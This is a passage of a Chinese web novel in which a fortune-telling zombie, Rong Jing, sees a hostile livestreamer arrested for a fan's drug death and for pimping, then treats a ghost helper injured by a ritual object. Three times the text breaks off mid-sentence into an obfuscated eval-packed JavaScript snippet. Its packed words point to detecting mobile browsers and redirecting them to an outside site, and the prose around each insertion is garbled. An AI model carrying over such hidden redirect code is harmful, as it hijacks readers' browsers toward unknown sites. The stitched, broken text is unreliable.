先前常哥来找他打赌的时候,那不怀好意的心思就跟水杯装满了水似的,一个不小心就要溢出来了。 结果这会儿面对警察,竟然一副宽容大方的模样,甚至劝说警方别太严格。 ……还管起警察来了,戏真多。 胡警官显然也从容镜的表情中看出了一二,扯了扯唇,似笑非笑地应和常哥:“你说得对。 不等常哥脸上露出被赞同的笑容,胡警官便又问:“你刚才说,你们之间有一个赌约,你们赌了什么? 常哥连忙道:“他说我在七天之内事业有波折。 胡警官挑眉:“只是有波折? 常哥愣了一下,不知道为什么突然间觉得面前这位警官的表情和问题显得有些意味深长,但他也没多想,笑了一声便道:“那倒也不是,按他的意思,更严重一点,是说我的事业一落千丈。 “这样啊。胡警官从口袋里掏出了银手铐,手腕微动,手铐便挂在手指上晃了晃,他问常哥,“知道这是什么吗? 常哥讪笑:“这还用问?我直播间的十万观众里估计也找不出一个不认识银手铐的。 “嗯,知道就好。 胡警官满意地点点头,旋即在常哥以及直播间观众的注视下,毫无征兆地抓住了常哥的手腕,将银手铐扣在了他的手腕上。 拎着银手铐将人拽到身侧的同时,他笑了一声,语气带上了几分嘲讽:“容大师还是说保守了,你的事业不止是一落千丈,怕是还要就地掩埋呢。 突如其来的一幕瞬间惊得街尾陷入无穷的寂静之中,常哥的同伴纷纷后退一步,心中骇然,眼神闪烁地互相交织,而此刻的直播间,显然也已经炸开了锅。 [我去!什么情况?] [啊啊啊我怎么看不懂了,这警察不是来抓骗子大师而是抓常哥的?] [不是,好端端的抓常哥干嘛呀?] [不会是骗子大师请来演戏的吧?] [虽然但是前面的兄弟你疯了?这可是直播,直播间观众十万,他敢找人来假扮警察?怕不是活得不耐烦了。] [看不懂这个发展,谁能来说说到底怎么回事!] 和直播间观众一样震惊且不明所以的还有常哥本人,他呆愣愣地看着自己和银手铐连接在一块的手,都没反应过来,大张着嘴巴磕磕绊绊地问:“警、警官你是不是搞错 了?” “搞错?你是叫常天瑞吧?” “对。” “那就没抓错。”胡警官掀起眼皮看他声音有点冷“你涉嫌谋害她人性命被捕了有什么想反驳的先跟我们去警局再说吧。” 涉嫌谋害她人性命。 几个字从常天瑞的耳中飘过他不知是想到了什么面色猛地变白。 胡警官一看他这表情便知道他心里有数面上的嘲讽愈发浓重不过也没再跟人多扯而是示意身后的同伴上前将人扣走。 扫了眼还在直播的手机他只稍稍抬了下下巴常哥的几个同伴立马眼疾手快地按下了‘关闭’按键然后压下心中的骇然面面相觑。 ——好端端的常哥怎么会牵扯到谋害她人性命这种事情? 开玩笑的吧? 胡警官没理会常哥同伴们充满疑虑的表情他转身对着容镜微微点了下头说了句“容大师那我们就不打扰您做生意了”便转身离开。 白色的警车带着警笛的嗡鸣很快消失在长华街的街尾。 他们一走现场看热闹的群众看向容镜的目光纷纷染上了奇异的光彩。 我去! 真给算中了? 就卡在七天的时间点常天瑞玩完了? 一部分人还在震惊一部分人已经反应过来并迅速地挪到容镜的小摊子前一屁股坐了下来冲容镜露出灿烂的笑容:“大师快给我算一卦。” … 柳柳得到消息时正在和小姐妹逛街听到小姐妹口中溢出的尖叫她眼睛微微睁大立马变凑了过去。 虽然距离常哥被警方带走才过去半个小时但当时直播间有不下十万的观众长华街的人流量也不少事情一出分分钟依靠自然热度将整件事情端上了短视频软件以及微博的热搜榜。 前者更是以#常哥疑似牵扯人命被警方带走#这样的话题爬到了第一的位置。 “我的天太夸张了。”柳柳的小姐妹惊呼“常哥被抓的录屏都有了还真让容镜说中了!” 柳柳将话题内的大部分内容扫了一边听到这话忍不住轻哼起来:“早跟你说容镜很厉害的你还担心他翻车。” 她戳戳屏幕自言自语一般:“让我看看现在网上是怎么说的常哥那群粉丝都是个什么嘴脸。” 小姐妹一边将手机递过去一边轻笑:“还能是什么嘴脸要么滑跪要么装死呗。” 柳柳打开评论区。 [愣着干嘛 我看现在谁还敢不信卦象!] [我承认我之前是有点大声,老祖宗留下的东西确实有点牛逼。] [现在去找大师算财运还有机会吗?] [楼上的,点开图片,你看看容大师的小摊前聚集了多少人……] [不是,你们别光顾着讨论容镜啊,有没有知情人出来说一下常天瑞到底什么情况?] [知情人出来了,问题好像出现在前两天常天瑞带粉丝去参加豪门少爷的聚会上,听说有少爷磕了药说了很多乱七八糟的事情,被一个女粉丝录下了视频,里面有说他们怎么玩弄女人,还不小心把常天瑞介绍过去的女生给玩死了。] [我丢,毒少啊?常天瑞吸没吸啊?] [你觉得呢?不会真有信那种他们都叫了,就我没叫或者他们都吸了就我没吸的说法吧?] 柳柳也被这个知情人的说法给惊了一下,同时又突兀地回忆起了容镜与自己讨论的常天瑞直播间中奖粉丝的人选,背后蓦地出了一身冷汗。 淦。 那时候容镜不会就知道常天瑞的身上有命案吧? 柳柳吸了一口气,心道如果真的是这样,那在张埠事件中,容镜所表现出来的一切还是过于保守了。 柳柳的小姐妹暂且还不知道她的想法,不过她这会儿对容镜的好奇到达了顶峰,直接改变了继续逛街的计划,转头就催促柳柳前往长华街。 柳柳忍不住提醒:“这会儿长华街人肯定很多。” 小姐妹并不介意:“反正也是去凑热闹嘛。” 于是,等两人抵达长华街,看到的就是容镜的小摊前排了长长的队伍,这条队伍甚至还转了好几个弯,才勉强没有将旁侧的道给堵住。 柳柳走到莫景同的身边,无声地看容镜正在给一个婴儿算卦,戳戳莫景同的后腰,惊叹道:“这么多人啊,这是在算什么?” “算这小孩以后有没有机会上雁大。” 柳柳:“……?” 尿都控制不住的年纪,就想着上雁大了? 柳柳和小姐妹对视一眼,纷纷好奇地等待着容镜的回答。 容镜看着桌面上的铜钱,在家长充满希冀的情况下,张了张嘴,有些迟疑道:“坤在下,离在上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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莫景同手指按在自己的人中位置,给自己做急救,跟一根蔫了的狗尾巴草似的,抓着容镜的衣服欲哭无泪:“容镜,这样不行啊,我手臂要断了。” 容镜:“……” 你不要讲的我手臂没断一样。 他算卦的时候也要摇乌龟壳的呀。 这种痛苦与收钱的快乐并存的生活在谢氏第一大总管宋特助的到来后宣告结束。 宋清知道容镜的小摊摊前客人排队这事儿跟容镜还真没什么关系,因为容镜忙得没时间跟谢长时撒娇抱怨,他是在微博的推送消息中看到#云语主播常哥被捕#的字样,陡然回忆起这位主播正是当初来找容镜挑衅的那一位。 原本宋清是打算亲自挖一挖常哥的料的。 他虽然不做自媒体,但谢氏 旗下也有相关的产业,他多看两眼便能猜到这位常哥牛逼的派头以及有钱的模样都是背后的MCN给包装出来的,这种人要真想挖黑料,分分钟的事情。 不过他们家谢总说了一句:“不用理会,阿镜心里有数。” 于是他就真的没有理会。 等再得到相关信息,就是今天。 他扫过新闻的内容,忍不住倒吸一口凉气,心道还好自己听了谢总的话,没有私下动手挖常天瑞的黑料,否则估计也就不会有对方带着粉丝前往豪门少爷们的聚会,却被粉丝抖出腌臜事的一切了。 看着常天瑞的模样,宋清都觉得晦气,果断滑向了下一个内容。 这一滑就看到了有网友贴出来的容镜被无数顾客团团包围的画面。 他一乐,冲谢长时笑:“谢总,容先生火了呢。” 谢长时放大照片,从人群的缝隙里窥到了少年皱起来的脸,委屈得跟个包子似的。 凭谢长时对容镜的了解,都能猜到这小僵尸此刻的心情和在心底嘀嘀咕咕说着怎样抱怨的话。 他敛眸无声地笑了一下。 等车辆在长华街停下,宋清挤进人群之中,大喊:“各位,时间不早了,大家让容大师早点回家休息吧。” 顾客们其实也有点等不下去了,但听到这话,挣扎着问了一句:“那今天排的队怎么算?” 宋清:“我来做登记,各位把你们的姓名和手机号报给我,明天按照顺利联系你们,你们明儿要是还想算,就直接过来算卦,不必排队,各位看这样可以吗?” 众人相互对视一眼,觉得这方法不错,纷纷点头。 而趁着宋清做登记的空荡,容镜抱起兆龟和铜钱一把塞进背包内,眨眼间就溜到了谢长时的面前,跟个小炮弹似的冲进男人的怀里,鼻尖拱着谢长时的衬衣,蹭掉他的纽扣,贴着肌肤狠狠吸了一口: “好香,好想来一口补充体力。” 作者有话要说 还有一更~ 第 24 章 看来他们谢总把人... 024. 容镜冲过来的时候一点都没收力,毫无准备的谢长时被撞得后退两步,还及时抬手搂住了少年纤瘦的腰。 未开口让容镜注意安全,就感觉到微凉的鼻尖蹭掉了衬衣的纽扣。 听着少年哼哼唧唧传来的嘀咕,谢长时拎起他的衣领,将人提到了半米远的地方,垂着眼眸看他:“站好。” 容镜觉得现在的自己就像一根软趴趴的面条,除非被谢长时提在手里,否则就能啪嗒一下掉在地上卷成一团。 他没吭声,用乌溜溜的眼睛说话:站不住。 见谢长时没反应,他才掰着手指颇有几分委屈:“八点了,我晚饭还没吃,龟壳摇得手都要断了,好多个小时没挪身子,屁股也坐僵掉了,你还不让我喝一口,谢长时你变了!” “哦?变成什么样了?” “冷血无情。” “冷血?” “我帮你尝尝,到底冷不冷,到时候你再反驳我。” 谢长时被他自洽的逻辑逗笑,再次伸手拎起少年的衣领将人提到了车内。 一见他这个动作,容镜便知道是谢长时妥协了。 他就知道谢长时肯定不会拒绝他的。 谢长时就是脸皮薄。 以前他在外面想喝谢长时的血了,谢长时也总是拒绝,等回到家,还不是任他为所欲为。 就算最开始容镜由于年纪小还掌控不好自制力,吸得谢长时差点贫血,对方也没怪他。 不过也正是还记着这事儿,容镜才会网购补血软糖。 谁知道谢长时一颗都没吃。 他爬到谢长时的腿上,跟谢长时打着商量:“一口,我就喝一口缓一缓,然后我们去吃晚餐,我想吃牛排。” 谢长时的手掌拍拍他的脑袋,低声道:“赶紧喝。” 一分钟后。 宋清脱离人群打算来到车内拿笔记本,毫无防备地打开车门,见到这一幕,瞳孔放大,被惊得愣在原地。 直到视线不经意触碰到了谢长时望过来的漆黑幽沉的眼眸,猛地回神,嘭得一声将车门关得震天响。 握草! 他的反应是不是太大了? 这关门声跟地震有什么区别? 他家谢总不会被吓得站不起来吧! 宋清咽了咽喉咙,悲愤地捂了把脸,一边祈祷他家谢总没受影响,一边滚回人群内继续记录顾客们的信息。 而被吓了一跳的容镜从男人的脖颈间抬头,一时没反应过来,就见谢长时皮 肤上的伤口开始飙血。 容镜:“!!!” 他赶紧低头吮上,舔了舔。 止血,赶紧止血! 绝对不能浪费一点! … 等宋清解决了排队的群众回到车前,容镜也早已恢复过来。 宋清在门口徘徊了半晌,又低头看时间,在心里计算到底过去了多久。 ——应该差不多了吧? 他礼貌地伸出手,敲响了车窗,半秒钟的寂静之后,耳边响起谢长时熟悉且低沉的声线:“进来。” 宋清松了一口气。 今天司机不在,宋特助兼职司机身份,很主动地坐上驾驶座的位置,只不过开车前目光还是不受控制地往后视镜瞥了一眼,瞧见了容镜白里透红的漂亮脸蛋。 ——看来他们谢总把人伺候得挺好的。 瞧这精神焕发的模样。 “好看吗?” “好……”嘴里自动蹦出字,又被宋清强行压回去,他尴尬地摸了下鼻子,一句话在喉咙内转了半天,终于吐出,“好热闹的摊子,可把我累坏了。” 一句话引起了少年的共鸣,容镜将头点得跟小鸡啄米似的。 “不过我今天赚了不少钱,等会儿我请客。”容镜将手机掏出来看了眼收入,单是一天就上了五位数,这放在以前,容镜简直不敢想。 所以……虽然常天瑞是来找他麻烦的,但实际上这麻烦找得还挺好的。 库里南在一家西餐厅的地下车库停下,宋清跟在谢长时和容镜的身后下了车,正欲再跟上两人的步伐往通往餐厅的电梯,却瞧见谢长时偏了下头,深沉漆黑的眼眸望着自己。 尽管一字未言,但宋清这位特助绝对不是吃素的。 他是靠能力和眼色坐上特助位置的。 于是立刻做了个‘您请’的动作,说:“我不是很爱吃牛排。” 容镜听到这话回过头来,颇为惊讶:“可是宋特助你说只有这家店的牛排是最好吃的。” 宋清表面微笑,内心在流泪:“是啊是啊,毕竟这家店的评分是最高的嘛。” 谢长时将容镜的脸掰回去,回头的同时对宋清说:“你自己去找你喜欢吃的,报销。” 宋清内心也不流泪了,快乐地跟上司和上司的小僵尸挥手说再见。 告别宋特助,容镜拉着谢长时要了一个包间,点了满满一桌的牛排,吃得容镜满意地直点头。 谢长时虽然也未吃完饭,但胃口显然一般,容镜吃饭的时候他便交叠着 双腿,将手机置于台面上看最新的雁城警局通报。 警方对常天瑞的毛发进行了检测,结果呈阳性,这无疑在告诉所有人,常天瑞的确是个瘾君子。 除此之外,通报上对常天瑞利用所谓的直播抽奖抽取女粉拉皮条的行为也进行了详细的说明。 半年多前,一个叫做冉瞳的年轻女孩被常天瑞带到了豪门少爷们的聚会上,但由于少爷们玩过头,将过量的毒·品注射进入了冉瞳的体内,导致冉瞳暴毙而亡。 这件事情发生以后,常天瑞害怕极了,但那群少爷似乎并不当回事。 有一个甚至还搂着常天瑞的脖子笑嘻嘻地说:“这种小事,给点钱就行了,恰好,我们有的是钱。” 常天瑞担惊受怕,但随着一天过去、一周过去、一个月过去、两个月过去,他想象中的逮捕画面没有到来,终于松了那口始终悬起来的气。 他也终于清晰地认知到“有钱可以为所欲为”这句话到底有多正确。 很多事情有一就有二,尤其是当这件事情不需要付出任何代价的时候。 之后的半年,常天瑞像是发现了商机一样,一边利用MCN的包装在网络上伪装成富二代博主,一边忽悠自己的女粉丝,将她们送到豪门阔少们面前。 哪怕有不愿意的,钱给得多了,或者威胁的筹码足够了,她们就会闭上嘴巴。 直到这一次。 真正的东窗事发。 网友们看完警情通报,已经被气得怒火冲天,尤其是曾经为常天瑞花钱的那批粉丝。 [草,以前有多气抽奖抽不到我,现在就有多庆幸,老天还是眷顾我的。] [人渣啊!] [怎么就曝出来一个常天瑞,那群豪门阔少呢?不会连这种事情都是有钱可以为所欲为吧?] [想多了,那群阔少牵扯的事多,身上案子也不止一个,还在查呢。] [朋友们,我就问个题外话,就是……有没有相信这个世界上有鬼啊?] [哥们何出此言?] 谢长时的手指点进问有没有鬼的账号,发现对方已经发了一条动态,讲述了自己好奇这个问题的最初原因。 日进斗金:是这样的兄弟姐妹们,哥们闲着没事干去翻了常天瑞第一次找大师麻烦的视频,然后发现……看我标的视频截图,你们难道没察觉到大师的目光一直落在常天瑞的右后方吗?哪里有什么?能让他这么看的!根据我看的多部相关题材的电视剧和电影,我只能认为是被常天瑞带去聚会而死掉的女孩子。 [我去!还真是!] [天老爷,我才发现常天瑞一出现,大师的目光就一直在常天瑞的右后方。] [草,细思极恐。] 谢长时退出软件,抬眸看向已经吃得差不多的少年,心道有些人还是挺敏锐的。 他想着,便听见容镜问:“你在看什么? 谢长时如实告知,容镜拖长声音哦了一声,然后双手端着下巴好奇问:“那些豪门阔少的问题很大吗? 这事陆云霁刚刚还在公司的群聊里唠。 被逮捕的其中一位少爷家里曾和谢氏有过往来,可惜陆云霁实在看不上他们的作风,直接将他们一脚踹走了。 “毒·品的购买、吸食,手上的人命,都会让他们付出应有的代价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13232831|136336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “真是丧尽天良,死的就不该是程璞玉,应该是他们才对。 “程璞玉已经两天没去上班了。 容镜:“……? 不会还在吓唬曾良平吧? … 夜深人静,吃饱喝足的程璞玉在袁思雨的示意下入了曾良平的梦。 程璞玉观察了一天的曾良平,他发现这个人真神奇。 早上八点,曾良平会打扮成精英的模样前往雁城的经济中心区,但他在那其实没有工作,就是拎着笔记本电脑,找一家咖啡店装模作样地工作。午餐和晚餐可能会约上两个不同的女孩子,侃侃而谈,利用自己从课上学来的经验,将女孩子们哄得晕头转向,然后跟他建立进一步的关系,并且忽悠对方给自己的项目投钱。 “死渣男竟然还是课程批发的?哪个狗日的‘导师’在网上教这种东西? 袁思雨一边怒骂,一边催促程璞玉快点折腾曾良平。 程璞玉立马打起十二分精神开始工作。 他精心将曾良平的梦境伪造成曾良平最适应的环境与地点,譬如在公园的小道上,曾良平在询问过女孩的意见之后,礼貌地牵起对方的手,一边往湖边走,一边通过聊天加深双方之间的感情。 情到深处,曾良平搂住女孩的腰,欲低头轻吻。 啪。 在他的唇印上去的同时,怀里的女孩突然摇身一变,变成了个地中海的秃头中年男人。 曾良平的瞳孔猛地瞪圆,但不等他反应过来,中年男人便一脚踹到了他的裆下,再补一脚将他踹进河中。 然后……然后是什么项目来着? 程璞玉打开自己的手机备忘录,看到了密密麻麻的计划。 然后得安 排一条大鳄鱼咬曾良平的屁股。 大鳄鱼得有三个正常男性那么宽,肚子鼓鼓,四肢强壮有力,一双竖瞳直勾勾盯着面色大变、疯狂在水里扑腾的曾良平,张开深渊巨口,嗷呜就咬了上去。 “啊啊!!” 曾良平疯狂尖叫大喊,手忙脚乱地从浅水潭里爬出来,好不容易逃脱,便听见嘶嘶嘶的蛇鸣。 他咽了咽喉咙,开始狂奔。 程璞玉低头看手机,哦,接下来是脑袋上下刀子。 它抬手一挥,一把把锋利的水果刀闪烁着银芒从头顶跌落下来。 曾良平:“……” 他要疯了,这到底是什么鬼情况? 他是在做梦吧? 可谁做梦会经历这些?! 锋利的刀刃划破曾良平身上的皮肤,他硬生生忍着疼痛熬过这一阵,终于来到了个不会再下刀子雨的正经地方。 结果下一秒,一只熊掌从天而降,啪叽一声拍在了他的脑门上。 曾良平:“……” 他的脑门碎了。 剧烈的疼痛袭来,曾良平猛地睁开眼睛,从床上爬了起来。 他打开灯,屋内干干净净什么也没有。可梦里的一切以及身上传来的疼痛显得即为真实,令他有些惴惴不安。 他深吸一口气。 打开了手机,上面竟然有一条备注为袁思雨发来的消息。 曾良平记得她,这是他新一任的相亲对象,还是个警察。 但警察又怎么样,还不是被他耍得团团转,竟然都分辨不出他是个骗子。 曾良平一边在心底嗤笑,一边打开了袁思雨发来的照片。 照片啪一声从漆黑变成了彩色,一条色彩艳丽的细蛇猛地从中窜出来,曾良平惊叫一声,甩掉手机仓皇失措地从床上滚下来,双膝跪倒在地。 咔啦一声。 不出意外的话,膝盖裂了。 程璞玉看他这个惨兮兮的模样,嘴角露出坏笑,正欲接下来的计划,眼前却突兀地闪过一道白光。那白光宛若有意识一般,忽然黏在了它的身上。 紧接着,刺痛骤起,被白光黏上的部位竟然开始溃散。 或者说,灰飞烟灭。 程璞玉被这突如其来的变化骇到,顾不得曾良平,拔腿就跑! 一边跑,一边在心底狂吼:容镜!救命!! 作者有话要说 给大家开个抽奖,热闹一下~ 第 25 章 明天再给你画护身... 025. 咚咚咚。 窗户再一次被敲响,但程璞玉等不到容镜醒来便主动飘了进去,双手压在少年的肩膀上推了推,在对方睡眼朦胧的注视中,着急忙慌地喊:“容镜,我的腿没了!” 容镜梦中被惊醒,噌一下从床上爬起来,打开灯光,看到了程璞玉惊慌失措的脸。 他的视线往下。 程璞玉还是鬼魂的模样,但右腿连着裤子却消失无踪,只剩下空荡荡的一片。 他伸手碰了碰,眼底闪现出几缕疑惑:“你跟哪个门派的道士干上了?” “是那个曾良平,他家里有道士开过光的法器!”程璞玉垂眸盯着飘荡的残破裤管,虽然作为鬼,他的腿被灼烧掉一段也不会留下鲜血淋漓的痕迹,因此看着并不恐怖,但依旧能感受到隐隐约约的刺疼,以及…… 这样真的很丑。 他以后难道只能做个独腿鬼吗? 法器? 与程璞玉的关注点不同,容镜听到法器二字眨了眨眼睛,心中颇为讶异。 不过再想也觉得正常,当初他还小的时候也见过不少人类来玄天观求开过光的香囊、金蟾、手串之类的宝贝。 “你别哭呀,没说不能治。”容镜看程璞玉委屈的模样,连忙安抚。 程璞玉猛地抬起头:“能治?” 容镜挠挠头,应该能吧? 跟人类断腿一样,装个假肢什么的,应该不成问题。 … 由于程璞玉受伤,曾良平那边的恶鬼恐吓行动暂且搁置。 袁思雨得知此事,脸色也微变,看到程璞玉惨兮兮的模样,心中充满了愧疚,连忙亲自去敲响了特殊部门的办公室大门。 面对特殊部门几位大佬望过来的眼神,她莫名其妙地有点紧张,咽了咽喉咙,尴尬问:“几位,这次不是来借小鬼的,我就想问问,如果,如果小鬼的腿一不小心被法器伤到了,有机会挽救吗?” 池白看了眼自己的腿,然后将腿从桌上放下来,瞥她:“你跟容镜借了小鬼?” 袁思雨:“?” 池白知道容镜的存在,对于袁思雨而言其实并不是件意外的事情。但他是怎么一猜就猜到这事儿跟容镜有关的? 袁思雨目光飘忽了一下,硬着头皮反驳:“跟容镜有什么关系?而且我只是好奇这个问题,我这不是问的‘如果’吗?” 池白撇嘴。 见他似乎没有开口的意思,袁思雨双手合十:“求求了各位大哥,我这周末就去给你们道 观上香。” 池白倒是不介意给道观挣点香火钱,想了想倒也实话实说了:“你问问容镜会不会画变幻符,不会可以让他来找阿秋。” 靠窗口的男人伸长脖子,露出半张鬼面,面无表情:“我好像没答应。” 池白:“我帮你答应了。” 袁思雨才不管他俩的争吵,赶紧应和一声,又说了好几声谢谢。 扭头准备要出门的时候,忽然想起点什么,赶紧找补:“真跟容镜没关系。” 池白敷衍点头:“嗯嗯嗯,就是你好奇而已。” 袁思雨:“……” 这位池副果然能让拳头梆硬。 但他帮了大忙,袁思雨得给他磕一个。 她的左手掌心向上抬起,右手曲起两根手指,指关节压在掌心上,重重怼了两下。 磕好了。 一路跑着回到自己的办公室,袁思雨将池白的回答告诉容镜,容镜若有所思。 其实他刚刚也问了段云双,段云双给出的答案和池白的一样,也符合容镜的最初设想。 他看了眼蔫哒哒挂在小摊后方大树上、跟一片布料一样随着风飘来飘去的程璞玉,连连安抚他:“等我这边的卦算得差不多了,我去买纸缯和朱砂,给你装腿。” 程璞玉眼睛一亮,啪一声就从树上窜了下来:“好啊好啊,要是能成,我请你去天地通吃火锅。” 容镜想到那天和谢长时的对话,眼睛也跟着一亮:“我能带上谢长时吗?” 程璞玉:“……” 虽然谢长时是容镜的人,但哪个打工鬼会喜欢跟老板一块吃饭啊? 程璞玉又不想让容镜失望,于是道:“我给你们单开一桌。” 容镜当然没有拒绝的道理。 他掏出手机给谢长时发信息:明天带你去天地通吃火锅。 看到‘天地通’三个字,谢长时的眉梢跳了跳。他在雁城待了快十年,自然知道‘天地通’代表的是什么,回忆起那天和容镜的对话,他压了压太阳穴,问:不用你死或者我死了吗? 阿镜:程璞玉死就够了。 谢长时:“……” 他的一旁,陆云霁正翘着二郎腿翻阅这两天积攒的文件,看到其中一份,他仔细看了几眼,不由得皱了皱眉:“和蒋氏的这个项目怎么没动——” 话未说完,抬起的眼先看到了正拿着手机垂眸的男人。 陆云霁:“……” 也不知道谢长时高中就这副德行的话,他有没有机会把人从第 一的宝座拉下来。 可惜,那时候容镜还是个小屁孩呢。 谢长时也不至于变态到这种程度。 他起身,动作弧度虽然称不上大,但也能闹出点动静,只是谢长时似乎并没有察觉。见状,陆云霁愈发淡定地走到了谢长时的身后,啪一下将手里的钢笔压在了男人的肩膀,原本想吓唬人,可目光下意识往下,低头一瞧,懵了懵: “你俩这什么情趣,聊天的内容不是你死就是我死的? 谢长时不欲说明,转移话题:“你文件看完了? 陆云霁撇嘴说着“你一个老板都不认真上班还管我看不看文件,然后顺手将手里的一叠纸扔到了谢长时的面前,颔首:“蒋氏的项目,进展慢了点。 “负责蒋氏的那只小鬼三天两头请假。 ……小鬼? 陆云霁表情愈发迷茫:“这事不是宋清负责的吗? “和陈荣的对接交给了个实习鬼。谢长时语气平淡,“那实习鬼昨天去外面兼职还断了条腿。 说实话陆云霁有点听不懂。 不过这并不妨碍他问:“没换人吗? 谢长时:“从它请假开始就换了,不过听说这两天陈荣那边好像也遇到了点事。 陆云霁哦了一声,发表见解:“那这个项目可真晦气。 谢长时:“…… 陆云霁碰碰谢长时的手臂:“你找容镜去去晦气,我出钱也行。 … 容镜还不知道已经有大生意主动找上门,他结束跟谢长时的聊天以后便放下了手机,开始招呼自己的顾客。 从昨天开始,各家电视台的新闻以及网络上的各家媒体几乎都在转播、转载常天瑞一事,这事带来的震撼以及影响实在大得过分,这也就导致昨天留下联系方式的顾客们在容镜打完电话以后几乎全部到场。 ——他们已经无比信任容镜的能力了。 一个三十多岁的壮汉坐在容镜的对面,等待卦象的途中,嘴也没闲着:“其实我以前也找人算过这些,但那人就是胡说八道,说我什么三十岁会有血光之灾,要买他的法器才能渡劫。刚说完呢,就来了个人一遍骂他骗子一边把他揍了一顿,都见血了。 容镜看了眼卦象,没忍住问:“你就不怕我这儿也得买法器? 壮汉一脸无所谓:“买就买呗,我又不差这点钱。 顿了顿,又道:“而且你有多牛逼可是咱们亲自看在眼里的,花钱花的我心甘情愿。 小僵 尸喜欢听好话。 容镜将铜钱推出去,给了他一剂定心丸:“你老婆马上就来了。” 单身的壮汉眼睛一亮,蹭地从椅子上起身,拉住容镜的手连连感谢:“好好好,以后有机会我请大师喝喜酒。” 送走壮汉,又迎来下一个,中途没有停歇。 容镜的午饭都是莫景同帮忙叫了份快餐送过来的,他咬着排骨,深深叹气。 这排骨一点肉都没有,也就用来磨磨牙了。 于是伸长脖子看向了其他的摊位。 莫景同很有眼力见:“容大师想吃什么?我去给你买。” 容镜从自己最新准备的零钱收纳盒里掏出五张一百,非常豪气地大手一挥:“都来一份。” 吃饱喝足,一口气没松地干到了傍晚。 容镜今天不想加班,也没法上夜班,果断将兆龟和铜钱扫进背包内,带着程璞玉前往了段云双推荐的店铺。 这次的店铺与天地通全然不同,后者气势恢宏,宛若商场,前者却是一家位于老城区老街道上的小店,看着破破旧旧的,就连门上方的广告牌都掉了一块,但隐约能看出来店名叫做:阿三小店。 ……好朴实无华的名字。 容镜正欲往前走,一只手忽然拍在了自己的肩膀上,他扭头,看到了段云双高挑的身影。 女人冲他挑了挑眉,露出笑容:“赶上了。” 容镜惊讶:“段姐姐你怎么过来了?” 段云双:“正好我也来买点东西,买完东西还有点事找你,走吧,先进去。” 大门合着,但屋内有灯光和人影,足以可见是营业的状态。段云双双手推开门,视线在狭窄的地段内扫了一圈,喊了一声:“三爷!” “自己挑。”货架后传来粗哑的声音,一道弓着背的白发身影现了身,但对方似乎并没有要来招待容镜和段云双的意思,只是自顾自地将手里的东西整理好放到货架上。 段云双也不介意,笑眯眯地说了一声好后,转头对容镜道:“三爷就这个脾性,不过人很好的,他店里的东西质量也好,还经常给我们优惠。” 换句话,老爷子就没打算在这个店上挣钱。 “我的桃木剑坏了,得换把新的,我先去挑。”段云双给容镜指了个方位,“那边是各种材质的纸缯,朱砂在后面的货架上,你看你喜欢哪个,就买哪个。” “好。” 容镜目送着段云双走向右前方,自己则是转身走到编号为3的货架,虽然货架看着老旧,且容量不大, 但纸缯却一摞一摞地摆放得极好下方还贴了价格标签。 “右边第二个是性价比最高的第三个是的质量最好的但是贵。”苍老粗哑的声音在容镜的身后响起少年回头看到了一张布满皱纹的脸。 他眨了下眼睛礼貌地喊了声:“三爷。” “嗯你有什么需要或者搞不懂的随时叫我。”三爷双手背在身后再度看了眼少年白净的脸转身离开的刹那语焉不详道“你们这行出来干道士的倒还挺少见的。” 容镜一愣。 随后猛地瞪大眼睛。 什么叫做‘你们这行’? 他哪一行的?当然是僵尸一行的。 容镜一时也顾不上挑选纸缯和朱砂像条小尾巴似的跟在老爷子的屁股后头就贴了上去一张嘴就喋喋不休:“三爷你是不是知道什么?” 三爷瞥了眼身后的影子语气冷淡:“知道什么?老头子我什么都不知道 容镜哦了一声嘀咕了一句“我就问问”之后转头就拿了质量最好也最贵的纸缯随后挑了几盒朱砂。 他选的都是标价最贵的反正现在他有钱了就算他没钱谢长时也有钱了高端的纸缯和朱砂消费完全不在话下。 三爷的面相看着怪凶神恶煞的但就像段云双所说为人却相当不错看容镜买得多还给主动打了折容镜嘴一甜“谢谢三爷”就变成了“谢谢爷爷”称呼从他嘴里蹦出来三爷又抬眼瞥了他然后冷哼一声:“花言巧语。” 容镜不理会满足地抱着怀里的东西再度嘴甜地说:“爷爷再见。” 三爷:“……” 围观了全程的段云双没忍住噗嗤笑出了声。 但为了防止三爷拎起拐杖揍人她还是催促着容镜加快脚步离开了。 她开了车过来带着容镜上了车关闭车门的刹那朝着后视镜看了一眼老人家依旧佝偻着身子站在门口的位置像是在目送他们的远去。 段云双面上的笑意淡了淡片刻才道:“其实三爷以前也是特殊部门的不过当时出了点事他们整个部门几乎被全歼只剩下外出的三爷勉强留了条性命。” 容镜趴在车窗上向后看去车辆正好拐弯他的视线便被一栋矮楼房给挡住。 少年收回目光问:“特殊部门存在很久了吗?” 段云双恩了一声:“挺久啦天师联盟也建立许久了但是你知道的有句话说得好合久必分。” 容镜:“……” 不他不知道。 他这只小僵尸的文化水平显然没有那么高。 “对了刚不是说找你有点事吗?”段云双转移了话题回忆起自己的办案途中遇到的一切“你让去雁城警局特殊部门报案的那个女生我接触过了基本也了解了到底回事后来我还发现那三个死者除了束媛之外还接触过别人。” 容镜乖乖等她继续说。 “是一个叫做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 